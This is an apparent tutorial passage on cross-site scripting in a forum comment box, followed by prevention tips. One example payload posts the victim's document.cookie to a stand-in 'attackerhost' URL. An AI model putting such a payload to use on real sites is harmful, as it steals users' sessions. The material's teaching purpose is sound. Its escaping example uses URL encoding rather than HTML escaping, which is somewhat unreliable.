this section is talking about xss attack and its prevention
If you have not been familiar with HTML / Javascript, you can pass this section temporily
XSS ( Cross-site scripting ) enables attackers to inject client-side script into web pages viewed by other users
-
Precondition
- You make a forum website and let users to write down their comments
<form method='post' action="comments"> <textarea name='comment' id='comment'></textarea> <input type='submit' value='Submit' /> </form>
- The website stores the origin comment without any processing
- When the other users view a comment, they may get
<div> [ the comments ] </div>
where the comments are the origin text without any processing
-
Case 1
- If an attacker write down comments like this
<script>alert('You are attacked')</script>
- Any user views this comment would get an an alert window with text
You are attacked
-
Case 2
- If an attacker write down comments like this
$.post( "http://attackerhost/cookies", { cookie: document.cookie } );
- The other user's cookie would be stolen when they are viewing this comment
We can see that XSS is very dangerous because attackers can execute whatever they want !
Backend / Frontend developers should make sure no script from users can be executed.
-
Content Filtering : encode / escape the sensitive words ( e.g.
<
,>
)- before
<b>very</b> large
- after
%3Cb%3Every%3C/b%3E%20large
-
Disabling Scripts : disable javascript in the browser, nothing can be executed